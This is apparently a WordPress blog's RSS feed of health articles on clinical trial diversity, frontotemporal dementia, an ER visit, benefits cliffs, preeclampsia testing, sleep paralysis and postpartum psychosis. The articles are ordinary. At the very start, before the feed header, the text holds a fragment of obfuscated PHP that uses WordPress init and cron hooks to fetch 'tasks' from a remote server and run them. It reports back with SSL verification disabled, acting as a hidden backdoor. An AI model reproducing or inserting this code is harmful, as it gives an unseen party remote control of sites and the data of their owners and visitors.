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update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Health – Tobioloyede https://tobioloyede.com Delving into daily life issues to foster change Sat, 12 Sep 2026 23:43:01 +0000 en-US hourly 1 https://wordpress.org/?v=7.1 https://tobioloyede.com/wp-content/uploads/2022/12/cropped-Beige-Elegant-Personal-Business-Card-2-32x32.png Health – Tobioloyede https://tobioloyede.com 32 32 Transforming Clinical Trials Through Early Engagement https://tobioloyede.com/transforming-clinical-trials-through-early-engagement/ https://tobioloyede.com/transforming-clinical-trials-through-early-engagement/#respond Mon, 09 Sep 2024 11:53:37 +0000 https://tobioloyede.com/?p=2399 Shifting the Landscape: How Early Engagement with Patient Advocacy Groups is Transforming Clinical Trials and Promoting Health Equity

Source 

Imagine a world where medical treatments work for everyone, regardless of background. In recent years, the landscape of clinical trials has been evolving, with an increasing emphasis on diversity and health equity. At the forefront of this shift is patient advocacy. This vision is becoming a reality as Patient Advocacy Groups (PAG) champion the cause of diversity and health equity in clinical trials. By partnering with these groups early in the research process, we’re changing how trials are conducted and transforming the entire healthcare landscape. Here’s how:

Why Diversity in Clinical Trials Matters

Clinical trials are the lifeblood of medical innovation, providing the critical data needed to develop new treatments. Yet, for too long, these trials have been skewed toward homogeneity, often excluding the very populations who stand to benefit the most.

Diverse clinical trials are essential because genetic, environmental, and socio-economic factors can significantly influence how different groups respond to treatments. Without inclusive research, we risk creating therapies that are less effective—or even harmful—for underrepresented populations. By ensuring a broad spectrum of participants, we pave the way for safer, more effective treatments for everyone.

The FDA’s Diversity Action Plan, released in June 2024, emphasizes the importance of promoting diversity in clinical trials and ensuring that treatments are safe and effective for all populations, which is echoed in the emphasis on early engagement with Patient Advocacy Groups (PAGs) to foster inclusive and patient-centered research.

The Game-Changing Role of Patient Advocacy and PAGs

Patient advocacy groups (PAGs) are revolutionizing the clinical trial landscape by championing the cause of diversity and health equity. Their involvement in clinical research is proving to be transformative, addressing long-standing issues and paving the way for more inclusive and effective medical treatments. Here’s how PAGs are making a significant impact:

1. Raising Awareness and Educating Communities

One of the most crucial roles of PAGs is raising awareness about the importance of clinical trials. Advocacy groups actively educate communities about the benefits of participating in trials, demystifying the process, and addressing common misconceptions. By leveraging their networks and outreach capabilities, PAGs help ensure that diverse populations are informed and engaged, increasing participation rates and helping to bridge the gap between researchers and underrepresented communities.

2. Building Trust and Bridging Gaps

Many historically marginalized communities have deep-seated mistrust of medical research due to past abuses and ongoing disparities. PAGs serve as trusted intermediaries, using their established relationships within these communities to foster trust and encourage participation in clinical trials. Their role as advocates helps to mitigate fears and overcome skepticism, facilitating more inclusive research practices and ensuring that diverse perspectives are considered.

3. Boosting Recruitment and Retention

Recruiting and retaining diverse participants in clinical trials can be challenging, but PAGs play a vital role in this process. They assist researchers in identifying potential participants from various backgrounds and offer support throughout the trial to enhance retention rates. This support includes providing culturally sensitive resources, addressing participant concerns, and ensuring that all participants feel valued and supported, which is crucial for trial success.

4. Providing Valuable Insights and Feedback

PAGs bring valuable insights into the design and implementation of clinical trials. By involving these groups early in the research process, researchers gain access to a wealth of knowledge about patient needs, preferences, and potential barriers to participation. This feedback helps design patient-centric trials that are more responsive to the real-world experiences of diverse populations, ultimately leading to better trial outcomes and more effective treatments.

5. Advocating for Policy Changes

Beyond individual trials, PAGs advocate for broader policy changes that promote diversity and health equity in clinical research. They work with policymakers and regulatory bodies to influence guidelines and standards that support inclusive practices. By championing these changes, PAGs help to create a more equitable research environment that benefits all patients.

Patient Advocacy's Power in Giving Voice to Minority Clients - North Shore Patient Advocates

Some Strategies for Enhancing Diversity and Equity (Interestingly, these also work for Early Patient Engagements—PAGs)

We must adopt and expand strategies promoting early engagements, diversity, and health equity in clinical trials.

  1. Foster Strong Partnerships: Develop robust collaborations between researchers, patient advocacy groups, and community organizations to amplify the reach and impact of clinical trials.

 

  1. Promote Cultural Competency: Train researchers and trial staff in cultural competency to better understand and address the unique needs of diverse populations.

 

  1. Design Patient-Centric Trials: Involve advocacy groups in designing and implementing clinical trials to ensure they are patient-centric and responsive to the needs of all participants irrespective of sexual orientation, gender, race/ethnicity, age, and other social factors.

 

  1. Communicate Transparently: Maintain open, honest communication with participants throughout the trial process, sharing results and acknowledging the vital contributions of all involved. Additionally, ensure that participants’ health literacy is considered; thus, health communication is key.

Conclusion

Early engagement with patient advocacy groups is transforming the landscape of clinical trials, making them more inclusive and representative. By prioritizing diversity and health equity, we can develop treatments that are effective for all populations, ultimately leading to a more equitable healthcare system. The collaboration between researchers and patient advocacy groups is a powerful force for change, paving the way for a future where every patient has access to the best possible care. Together, we can ensure that all people share the benefits of medical research, regardless of background or circumstance.

“If we want to make sure every patient has the best shot, we have to have diversity in clinical trials. The time is now.” – Dr. Freda Lewis-Hall

Sources:

Image 1: The Social Media VUCA-bulary! 

Image 2: Patient Advocacy’s Power in Giving Voice to Minority Clients—North Shore Patient Advocates

FDA Guidance Provides New Details on Diversity Action Plans Required for Certain Clinical Studies

]]> https://tobioloyede.com/transforming-clinical-trials-through-early-engagement/feed/ 0 Unveiling Frontotemporal Dementia https://tobioloyede.com/frontotemporal-dementia-a-call-to-action-on-rare-disease-day-2024/ https://tobioloyede.com/frontotemporal-dementia-a-call-to-action-on-rare-disease-day-2024/#respond Thu, 29 Feb 2024 07:00:49 +0000 https://tobioloyede.com/?p=2373 A Call to Action on Rare Disease Day 2024

Following a stint at one of the world’s leading biopharmaceutical companies, I became exposed to frontotemporal dementia (FTD) and its associated challenges. In a world where Alzheimer’s disease often takes center stage in discussions about dementia, my eyes were opened to the lesser-known but equally impactful FTD. The catalyst for this exploration was an eye-opening article from The New York Times, titled “The Vanishing Family,” which shed light on the unique challenges faced by a family where a 50-50 chance of middle-age dementia diagnosis looms over different generations. Additionally, the recent diagnoses of Wendy Williams and Bruce Willis have brought FTD into the public eye, prompting a closer look at the research behind this enigmatic condition.

As an avid researcher, my journey into FTD began with a quest for knowledge and a desire to contribute to the understanding and treatment of rare diseases. Frontotemporal dementia, with its unique challenges and varied manifestations, presents an intriguing puzzle for researchers. From genetic factors contributing to familial forms of FTD to the exploration of potential therapeutic avenues, the research community is actively working towards unraveling the complexities of this condition.

What exactly is Frontotemporal Dementia?
According to Alzheimer’s Research UK, FTD is a collective term encompassing a set of disorders characterized by the accumulation of tau and other proteins that lead to the degeneration of brain cells. Specifically, these protein deposits affect the frontal lobes (situated behind the forehead) and temporal lobes (positioned behind the ears) of the brain. Typically manifesting between the ages of 45 and 64, FTD represents a form of dementia with distinct neurological implications, impacting cognitive functions associated with these specific brain regions. The National Institute on Ageing states that individuals with behavioral FTD may struggle with recollection, planning, sequencing, and setting priorities. They may repeat the same action or remark, lose interest in life, and behave erratically, resulting in the use of inappropriate language or humiliating behavior.

Notably, there is currently no cure or means to slow down the disorder. However, speech therapy can be helpful. Speaking to a doctor is of utmost importance.

Frontotemporal dementia may be a lesser-known entity in the realm of dementia. Still, the stories of families like “The Vanishing Family” and the public disclosures by individuals like Wendy Williams and Bruce Willis have brought it to the forefront. We can all work together to create a better future for people and families dealing with difficult conditions by increasing awareness, fostering collaboration, and advocating for those living with challenging conditions.

On Rare Disease Day 2024, we are raising awareness and generating change for the 300 million people living with a rare disease, their families, and carers worldwide.

 

Featured Image Sources: Health Jade and Discovery Senior Living

References:

Budson, A. E. (2023, February 22). What is frontotemporal dementia?. Harvard Health. https://www.health.harvard.edu/blog/what-is-frontotemporal-dementia-202302222894

U.S. Department of Health and Human Services. (2021, July 30). What are frontotemporal disorders? causes, symptoms, and treatment. National Institute on Ageing. https://www.nia.nih.gov/health/frontotemporal-disorders/what-are-frontotemporal-disorders-causes-symptoms-and-treatment#:~:text=In%20most%20cases%2C%20the%20cause,permanent%20changes)%20in%20certain%20genes.
What is frontotemporal dementia?. Alzheimer’s Research UK. (2024, January 24). https://www.alzheimersresearchuk.org/dementia-information/types-of-dementia/frontotemporal-dementia/

]]> https://tobioloyede.com/frontotemporal-dementia-a-call-to-action-on-rare-disease-day-2024/feed/ 0 A Night in the Emergency Room: Navigating Pain and Indifference https://tobioloyede.com/a-night-in-the-emergency-room-navigating-pain-and-indifference/ https://tobioloyede.com/a-night-in-the-emergency-room-navigating-pain-and-indifference/#respond Tue, 19 Dec 2023 02:05:45 +0000 https://tobioloyede.com/?p=2349 In life, unexpected events have a way of challenging our resilience. One such experience occurred recently when my friend found herself in the throes of a sickle cell crisis, and we had to rush her to the Emergency Room (ER). While this was not my first time visiting an ER, this visit was a rather unpleasant experience. We rushed quickly to the ER in a bid to get her urgent medical attention; little did we know that our journey to get treatment would be marred by indifference, delays, and a startling lack of empathy. What should have been a straightforward process turned into a night of frustration, indifference, and an agonizing wait.

The Arrival:

As we rushed to the ER, the gravity of the situation was evident in the pain etched all over my friend’s face and all over as she kept groaning and her legs gave out from underneath her. A blind person would have been aware of her groaning pain, but not the ER receptionist, who was seemingly more engrossed in casual conversations with security personnel than attending to patients. Upon arrival, she barely spared us a glance and nonchalantly redirected us to sit in the waiting area.

Hours of Waiting:

Time seemed to stand still as we languished in the waiting area, and hours felt like an eternity as my friends’ pain intensified. Several visits to the receptionist were met with lackadaisical responses and a recommendation to call an ambulance if we desired immediate treatment. The agony of the patients in the waiting room appeared oblivious to the waiting area staff, and patients were left unattended with no timeline for when a doctor or bed would be available for treatment.

Triage Troubles:

Ninety minutes after our arrival, we finally got to see a triage nurse. My friend was unable to walk unassisted, and we had to support her into the triage room. It was therefore surprising when the triage nurse, who was seemingly detached from the urgency of the situation, insisted on checking my friend’s height and weight before addressing her immediate pain crisis. The nurse appeared to be interested in whether my friend had suicidal thoughts versus addressing her actual pain. The only response my friend could muster was the location of the excruciating pain along her arm. Post-evaluation, we were informed that there were no available beds and subsequently redirected to the waiting area. Our hopes for respite were dashed as bureaucratic procedures took precedence over delivering swift and effective care. Despite our pleas, the urgency of the situation seemed lost on the medical staff, perpetuating a sense of helplessness in the ER. The disconnect between the reality of the crisis and the protocol-driven approach was disheartening.

The Quest for a Bed:

After enduring the seemingly endless wait, we were finally informed that there were no available beds. The realization that my friend’s pain would be prolonged due to a lack of resources after hours of agony was a devastating blow. It left us questioning the efficiency of the healthcare system and the prioritization of resources. How could a person in dire need be left to suffer due to a lack of basic accommodations? It was a stark reminder of the strain on our healthcare system and the toll it takes on those seeking immediate attention.

The Human Element:

What stood out most starkly from this nightmarish experience was the absence of empathy (this is not to say that we did not encounter 1-2 empathetic individuals, but for the most part, we were alone). Amid pain and vulnerability, we expected a modicum of compassion from healthcare professionals. Instead, we encountered a system that seemed to prioritize bureaucracy over humanity.

In conclusion, our night in the emergency room was a distressing experience, highlighting the shortcomings within our healthcare system. The indifference of the receptionist, the delays in response, and the bureaucratic hurdles in triage were all contributing factors to an already challenging situation. While the ER staff may be grappling with overwhelming caseloads, it is crucial to remember that empathy, urgency, and effective communication can make all the difference in alleviating the suffering of those seeking help in their most vulnerable moments. This experience serves as a poignant reminder of the need for compassion and efficiency within our healthcare system to ensure that every patient receives the timely and attentive care they deserve. Continuous improvement in healthcare processes is crucial to ensuring that the human element is never overshadowed by bureaucracy. In the face of adversity, compassion and efficiency must go hand in hand, providing solace to those who seek help in their darkest moments.

Note: Unfortunately, we experienced a similar approach, as we rushed my friend back to the ER the next day.

Featured Image Sources: Harvard Health Publishing and Penn Medicine

]]> https://tobioloyede.com/a-night-in-the-emergency-room-navigating-pain-and-indifference/feed/ 0 Understanding the Public Benefits Cliff: A Simple Introduction https://tobioloyede.com/understanding-the-public-benefits-cliff-a-simple-introduction/ https://tobioloyede.com/understanding-the-public-benefits-cliff-a-simple-introduction/#respond Thu, 02 Nov 2023 15:12:01 +0000 https://tobioloyede.com/?p=2312 In the United States, the safety net for low-income individuals and families comes in the form of public benefits programs. These programs, including Medicaid, SNAP (Supplemental Nutrition Assistance Program), housing assistance, and childcare subsidies, play a vital role in providing essential support to those in need (National Conference of State Legislatures, 2022). However, there is a hidden challenge within these systems known as the “public benefits cliff” that often hinders individuals as they strive to improve their financial situations. I did not understand until I interned as a Public Benefits Research intern at an organization where I focused on state policies and strategies, particularly childcare access, in a bid to mitigate the “public benefits cliff.”

Understanding the Public Benefits Cliff

According to Anderson et al. (2022), “public benefit programs have the potential to help stabilize families when their income drops and can provide support as parents enter or reenter the workforce.” The public benefits cliff refers to a situation in which a small increase in income can result in the abrupt loss of eligibility for one or more public assistance programs. Simply put, an individual or a family loses a certain public benefit because of as small as a $1 increase in wage or salary, even though that $1 or small increase cannot cover the public benefit they lose. This phenomenon occurs because these public benefit programs often have strict income limits. As a result, individuals and families find themselves in a precarious situation where earning more income may leave them worse off financially due to the loss of crucial benefits. Imagine striving to become financially independent by putting in more work that allows for an increase in your pay, but then there’s a recursion; you lose your public benefit and become more financially stranded.

 

Implications of the Benefits Cliff

  • Work Disincentive: One of the primary consequences of the public benefits cliff is that it can create a disincentive for individuals to seek higher-paying employment or work additional hours. The fear of losing essential benefits can discourage upward mobility (Fahe, 2022).
  • Financial Instability: Sudden loss of benefits can lead to financial instability, pushing individuals and families further into poverty and making it even harder for them to escape the cycle.
  • Limited Opportunities: The benefits cliff can trap individuals in low-wage jobs, preventing them from pursuing education or training that could lead to better-paying careers.
  • Health and Well-Being: Loss of healthcare coverage, often tied to employment and income, can have severe implications for the physical and mental health of affected individuals and their families.

 

Potential Solutions

Addressing the public benefits cliff is a complex task, but there are potential solutions to mitigate its negative effects:

  • Gradual Phase-Out: Reforming benefit programs to gradually phase out assistance as income increases rather than an abrupt cutoff could encourage people to earn more without the fear of losing all benefits at once.
  • Benefit Recalculation: Consider recalculating benefits on a more frequent basis to account for changing income levels. This would ensure that benefits align better with individuals’ current circumstances.
  • Improved Coordination: Better coordination among different assistance programs and agencies can help identify individuals who may be impacted by the cliff and provide targeted assistance (Headrick et al., 2022).
  • Support Services: Offer additional support services, such as job training, childcare assistance, and healthcare subsidies, to help individuals transition to higher-paying jobs.
  • Education and Awareness: Raise awareness among recipients about the benefits cliff and provide guidance on financial planning to navigate potential income increases effectively.

The public benefits cliff is a complex issue that affects many low-income individuals and families in the United States. While public assistance programs are essential for providing a safety net, the cliff effect can inadvertently create barriers to financial stability and upward mobility. By exploring and implementing potential solutions, we can work towards a system that encourages economic self-sufficiency while still providing necessary support to those in need. Addressing the public benefits cliff is a step toward creating a more equitable and just society for all. In a bid to mitigate the public benefits cliff, one of the tools that I utilized was the Federal Reserve Bank of Atlanta’s Career Ladder Identifier and Financial Forecaster (CLIFF) tools: CLIFF Snapshot, CLIFF Dashboard, and CLIFF Planner. Each tool is customized to fulfill the specific requirements of individuals at various phases of their careers. Our collaborative effort can help individuals and families build self-sufficiency. THE MORE WE LEARN!!!

Tell me and I forget, teach me and I may remember, involve me and I learn. — Benjamin Franklin

Image source: Pedro Perez and Circles Canada

Sources:

Anderson, T., Coffey, A., Daly, H., Hahn, H., Maag, E., & Werner, K. (2022, January 11). Balancing at the edge of the cliff. Urban Institute. https://www.urban.org/research/publication/balancing-edge-cliff

Headrick, G., Ruth, A., White, S. A., Ellison, C., Seligman, H., Bleich, S. N., & Moran, A. J. (2022). Integration and coordination across public benefit programs: insights from state and local government leaders in the United States. Preventive medicine re

ports, 31, 102077. https://doi.org/10.1016/j.pmedr.2022.102077

Introduction to benefits cliffsand public assistance programs. National Conference of State Legislatures. (n.d.). https://www.ncsl.org/human-services/introduction-to-benefits-cliffs-and-public-assistance-programs

The benefits cliff: Eliminating barriers to transitioning off public benefits. Fahe. (2022, July 28). https://fahe.org/the-benefits-cliff-eliminating-barriers-to-transitioning-off-public-benefits/

]]> https://tobioloyede.com/understanding-the-public-benefits-cliff-a-simple-introduction/feed/ 0 Preeclampsia: Revolutionizing Prenatal Care https://tobioloyede.com/preeclampsia-revolutionizing-prenatal-care/ https://tobioloyede.com/preeclampsia-revolutionizing-prenatal-care/#respond Thu, 06 Jul 2023 06:48:27 +0000 https://tobioloyede.com/?p=2292 Pregnancy is a beautiful and transformative journey in a woman’s life, but it also comes with potential health risks. One of the most concerning complications is preeclampsia, a condition characterized by high blood pressure and organ damage that can endanger the lives of both the mother and the baby1. Preeclampsia has increased by 25% in the last 25 years, and it is now the leading cause of maternal mortality and disability worldwide2. Preeclampsia affects 2-8% of pregnancies globally and is a primary cause of maternal and newborn mortality. Blood pressure and urine protein tests are used to diagnose preeclampsia, although they might be inaccurate and late. Delaying diagnosis might limit therapy options and affect disease management3. Also, preeclampsia affects Black pregnant women five times more than white mothers4.

However, a breakthrough in medical technology has recently emerged, offering hope and relief to expectant mothers. The development of a newly approved blood test holds the promise of predicting severe preeclampsia diagnoses earlier and more accurately, ultimately improving maternal and fetal outcomes. This first-of-its-kind prognostic test detects sFlt1 and PIGF, two blood proteins that predict poor preeclampsia outcomes better than current approaches. The test can predict severe preeclampsia in pregnant women with hypertension between 23 and 35 weeks1. This blood test was developed by Thermo Fisher Scientific and granted approval by the FDA.

Source: March of Dimes

If left untreated, preeclampsia can lead to life-threatening complications for both the mother and the baby. Here are some of the effects associated with preeclampsia5:

  1. Maternal Effects:
    • High blood pressure: Preeclampsia raises pregnant women’s blood pressure. Stroke, eclampsia, and organ damage can result from failing to manage it.
    • Organ damage: Preeclampsia damages the liver, kidneys, and brain. It can damage the liver, kidneys, and nervous system.
    • HELLP (Hemolysis, Elevated Liver enzymes, and Low Platelets) syndrome: In severe preeclampsia, hemolysis (red blood cell breakdown), increased liver enzymes, and low platelet count might occur. HELLP syndrome causes liver failure, hemorrhage, and other issues.
    • Hypertension, heart disease, and stroke are more likely among preeclampsia survivors.
    • Developing cardiovascular conditions later in life, such as hypertension, heart disease, and stroke.
  2. Fetal and Neonatal Effects:
    • Restricted fetal growth: Preeclampsia can impede placental blood flow, resulting in intrauterine growth restriction. Low birth weight and health concerns may follow.
    • Preterm birth: Preeclampsia raises the risk of premature birth, which can cause respiratory distress syndrome, feeding issues, and developmental deficits in the newborn.
    • Preeclampsia may cause early placental abruption. Bleeding from placental abruption can threaten the baby’s oxygen and nutrition supply.
    • Preeclampsia can cause stillbirth.
  3. Long-term Effects:
    • Preeclampsia increases the risk of chronic hypertension in women.
    • Cardiovascular disease: Preeclampsia has been associated with an increased risk of cardiovascular diseases such as heart disease, stroke, and heart failure in the long term.
    • Kidney disease: Preeclampsia can damage kidney function and raise the risk of chronic kidney disease.
    • Metabolic disorders: Women with a history of preeclampsia may be at risk for metabolic disorders such as type 2 diabetes and metabolic syndrome.
Source: Crystal Run Healthcare

Benefits of Early Detection:
Early detection of preeclampsia is crucial for effective management and improved outcomes. The new FDA-approved blood test offers several significant benefits:

  • Enhanced Pregnancy Care: Early identification of high-risk pregnancies allows doctors to customize care. It allows closer monitoring, more frequent check-ups, and effective treatment.
  • Improved Maternal and Fetal Outcomes: Early detection and treatments reduce preeclampsia risks. It can lower blood pressure, avoid problems, and minimize the risk of preterm birth, low birth weight, and stillbirth.
  • Reduced Healthcare Costs: Preeclampsia requires extensive hospital stays, intense treatment, and long-term problems, which strain healthcare systems. The new blood test may minimize preeclampsia costs by identifying and addressing high-risk pregnancies earlier.

The approval of a novel blood test to predict and diagnose severe preeclampsia early is an important milestone in women’s health. This groundbreaking method will help healthcare providers identify high-risk pregnancies earlier and more accurately. It provides timely intervention, personalized care, and better maternal and fetal outcomes. Pregnant women can now receive needed prenatal information and actively engage in their healthcare decisions. As research progresses, we will continue to learn more about preeclampsia and develop more targeted and tailored treatments. This new blood test improves the health of mothers and their unborn children and promises to improve prenatal care. By leveraging the power of biomarker analysis, this test empowers expectant mothers.

 

Image Source: Crystal Run Healthcare

REFERENCES

  1. Richards, S. (2023, June 12). Newly approved blood test can help predict severe preeclampsia diagnoses earlier and more accurately. UChicago Medicine. https://www.uchicagomedicine.org/forefront/womens-health-articles/newly-approved-blood-test-can-help-predict-severe-preeclampsia-diagnoses-earlier-and-more-accurately
  2. Krewson, C. (2023, July 5). Blood test for preeclampsia granted FDA approval. Contemporary OB/GYN. https://www.contemporaryobgyn.net/view/blood-test-for-preeclampsia-granted-fda-approval
  3. Craig, M. (2023, June 12). First-of-its-kind prognostic blood test can better predict preeclampsia risk. News. https://www.news-medical.net/news/20230612/First-of-its-kind-prognostic-blood-test-can-better-predict-preeclampsia-risk.aspx
  4. Torrence, R. (2023, July 4). The first test for predicting preeclampsia in pregnant people won FDA approval more than 100 years after researchers discovered the blood-pressure disease. Insider. https://www.insider.com/first-test-for-preeclampsia-risk-gets-fda-approval-2023-7
  5. S. Department of Health and Human Services. (n.d.). What are the risks of preeclampsia & eclampsia to the fetus?. Eunice Kennedy Shriver National Institute of Child Health and Human Development. https://www.nichd.nih.gov/health/topics/preeclampsia/conditioninfo/risk-fetus#:~:text=Infants%20born%20preterm%20due%20to,epilepsy%2C%20deafness%2C%20and%20blindness.
  6. The first test for predicting preeclampsia in pregnant people won FDA approval more than 100 years after researchers discovered the blood-pressure disease. Insider. July 4, 2023. Accessed July 5, 2023. https://www.insider.com/first-test-for-preeclampsia-risk-gets-fda-approval-2023-7

]]> https://tobioloyede.com/preeclampsia-revolutionizing-prenatal-care/feed/ 0 Sleep Paralysis: From Spiritual Beliefs to Scientific Understanding https://tobioloyede.com/sleep-paralysis-from-spiritual-beliefs-to-scientific-understanding/ https://tobioloyede.com/sleep-paralysis-from-spiritual-beliefs-to-scientific-understanding/#respond Thu, 01 Jun 2023 03:45:15 +0000 https://tobioloyede.com/?p=2276 The phenomenon of sleep paralysis has been a subject of fascination and intrigue for years, often eliciting feelings of unease among individuals who experience it (Cox, 2015). It has been attributed to supernatural factors rather than scientific explanations in various civilizations, including Nigeria. Here, I delve into my personal narrative, as a young Nigerian who originally attributed sleep paralysis to a spiritual issue but ultimately gained a fresh outlook through scientific comprehension. I am certain that you or someone you know would have thought about sleep paralysis as a spiritual something.

“Sleep paralysis is not rare. Surveys around the world suggest that 20-45% of people experience at least one sleep paralysis episode in their lifetimes.”-Davies, 2003, p.182.

I grew up in a traditional Nigerian household deeply rooted in spiritual beliefs and practices. From a young age, I had been taught to interpret unusual occurrences through the lens of the supernatural. So, whenever I experienced sleep paralysis, I naturally attributed it to malevolent spirits or mystical forces. On some nights, I experienced peculiar phenomena that shook me to my core. As I lay in bed, ready to drift into a peaceful slumber, I suddenly found myself trapped in a state of sleep paralysis. Unable to move my body or speak, I felt an overwhelming sense of terror engulfing me. I began to see vivid hallucinations and hear eerie voices that seemed to taunt me.  

Source
Source

My encounters with sleep paralysis were accompanied by terrifying nightmares and a sense of helplessness. I believed that malevolent spirits were trying to suffocate me, rendering me immobile and voiceless. These experiences left me shaken and fearful, seeking solace in prayers as a means of protection. Every night it happened, I would decide to stay awake all night for fear of re-experiencing it. In search of answers, whenever I relayed my experiences to people, all that was suggested is the supernatural and particularly prayers.   However, my perspective underwent a gradual transformation when I stumbled upon scientific literature discussing sleep paralysis. Intrigued by the possibility of a different explanation, I delved into the research, uncovering the physiological and psychological aspects of the phenomenon.

What is Sleep Paralysis?

Sleep paralysis is a condition characterized by the maintenance of muscle atonia during the REM (rapid eye movement) sleep phase, resulting in the resumption of consciousness and the inability to move any part of the body (Farooq and Anjum, 2022). This often leads to intense feelings of fear and apprehension in the affected individual.

Causes of Sleep Paralysis

-Lack of sleep/insomnia

-Sleep schedule that changes: disrupted sleeping patterns – for example, because of shift work or jet lag

-Mental conditions such as stress or bipolar disorder

-Sleeping on your back

-Use of certain medications, such as those for ADHD -Substance abuse

-Narcolepsy – a long-term condition that causes a person to suddenly fall asleep

-Post-traumatic stress disorder (PTSD)

-Anxiety disorder

-Panic disorder

-A family history of sleep paralysis

Coping Strategies for Sleep Paralysis

  • Improving your sleep hygiene
  • Stress and Anxiety Management
  • Sleep Position and Sleep Aids
  • Seeking Professional Help

Armed with this newfound knowledge, I began to integrate science and spirituality into my perspective on sleep paralysis. I recognized the significance of cultural beliefs and the comfort they can bring, while also appreciating the value of medical expertise and scientific explanations. My personal journey allowed me to navigate the complex intersection of spirituality and science. I gradually realized that both realms have their merits and that a holistic approach can provide a deeper understanding of sleep paralysis. I learned to respect my cultural heritage while embracing scientific knowledge as a means of empowerment and self-discovery.  

In conclusion, sleep paralysis is a complex phenomenon that can elicit distress among individuals who undergo it. Through comprehension of the etiology, manifestations, and adaptive techniques linked to sleep paralysis, individuals can enhance their ability to manage this occurrence. It is imperative to seek professional guidance for comprehensive care and support if an individual or someone you know is experiencing sleep paralysis.  

My story illuminates the transformative power of knowledge and the importance of questioning ingrained beliefs. My journey from perceiving sleep paralysis as a spiritual issue to embracing scientific understanding showcases the potential for growth and a more comprehensive understanding of the world around us. By sharing my experience, I hope to convince others to explore diverse perspectives and appreciate the harmony that can exist between spirituality and science.  

References

Cox A. M. (2015). Sleep paralysis and folklore. JRSM open, 6(7), 2054270415598091. https://doi.org/10.1177/2054270415598091  

Davies, O. (2003). The Nightmare Experience, Sleep Paralysis, and Witchcraft Accusations. Folklore, 114(2), 181–203. http://www.jstor.org/stable/30035099  

Farooq M, Anjum F. Sleep Paralysis. [Updated 2022 Sep 5]. In: StatPearls [Internet]. Treasure Island (FL): StatPearls Publishing; 2023 Jan-. Available from: https://www.ncbi.nlm.nih.gov/books/NBK562322/

]]> https://tobioloyede.com/sleep-paralysis-from-spiritual-beliefs-to-scientific-understanding/feed/ 0 Postpartum Psychosis: A Growing Concern in the United States https://tobioloyede.com/postpartum-psychosis-a-growing-concern-in-the-united-states/ https://tobioloyede.com/postpartum-psychosis-a-growing-concern-in-the-united-states/#comments Fri, 10 Mar 2023 05:12:27 +0000 https://tobioloyede.com/?p=2215 The birth of a child is commonly considered a joyful and life-changing event. However, for some new mothers, the postpartum period can be fraught with difficulties and complexities, such as postpartum depression and anxiety. One of the most severe forms of postpartum mental health issues is postpartum psychosis, a rare but potentially life-threatening condition that affects approximately 1 to 2 out of every 1,000 women who give birth or approximately 0.1-0.2% of births. According to the National Institute of Mental Health (NIMH), psychosis is a term that describes conditions that affect the mind and cause a loss of sense of reality.

Recent studies have shown a growing trend of postpartum psychosis in the United States, with an increasing number of cases being reported each year. Recent tragedies involving Lindsay Clancy in Boston, Massachusetts, and Paulesha Green-Pulliam in San Francisco, California, have re-ignited the urgent need for a national conversation regarding postpartum psychosis and maternal mental health concerns.

Melanie Thomas, MD, a psychiatrist on the 2020 Mom’s Advisory Board comments, “as a perinatal psychiatrist, postpartum psychosis is the hardest, most difficult diagnosis I see. My heart breaks for these two mothers, their suffering, and their families.  Tools like the 2020 Mom Psychosis Symptom Checklist are one step toward giving families the information and support they need and deserve.” 

Psychotic symptoms may include but are not limited to:

  • Delusions and hallucinations: A new mother may have delusions and see or hear voices that do not exist (hallucinations).
  • Confusion and disorientation: A woman suffering from postpartum psychosis may have difficulty thinking clearly and may struggle with daily tasks.
  • Mania and agitation: A new mother may feel energized, have racing thoughts, and have an excessive sense of self-esteem.
  • Severe depression: A woman suffering from postpartum psychosis may feel intense sadness, hopelessness, and worthlessness.
  • Suicidal or homicidal thoughts: A new mother may have suicidal or homicidal thoughts in some cases.
  • Insomnia: A woman suffering from postpartum psychosis may have difficulty sleeping, even if her baby is sleeping.

Postpartum psychosis is difficult to treat because healthcare providers and the public are unaware of it. Due to mental health stigma and a lack of understanding regarding postpartum psychosis, many women may not seek care. About 50% of women who experience postpartum psychosis have experienced mental illness in the past.1 A 2019 study found that 1 in 5 people with bipolar disorder may have postpartum psychosis after giving birth.12% of those who experience postpartum psychosis are considered to also have schizophrenia.2

It is critical that healthcare professionals acquire in-depth training on the identification and treatment of postpartum mental health difficulties in order to address this emerging trend and improve the results for women with postpartum psychosis. Included in this are alternatives for evidence-based therapy, timely referral to specialized mental health care, and early screening and assessment for postpartum psychosis.

Together, we can improve the outcomes for women who experience postpartum psychosis and make sure they get the support and care they require at this crucial time. If you or someone you know is exhibiting signs of postpartum psychosis, it’s critical to seek quick medical assistance. Early intervention can improve the situation for the new mother and her infant by lowering the likelihood of major complications.

NIMH also suggests ways to find help:

Overall, postpartum psychosis is a severe mental health condition that affects a small but significant number of women who have recently given birth. It can have devastating consequences for both the mother and her infant if not identified and treated promptly. Despite growing awareness and efforts to improve screening and treatment options, there is still a long way to go in addressing the stigma and lack of understanding surrounding postpartum mental health difficulties. It is crucial that healthcare providers, policymakers, and the public work together to ensure that new mothers receive the care and support they need during this critical time in their lives.

Key Takeaways

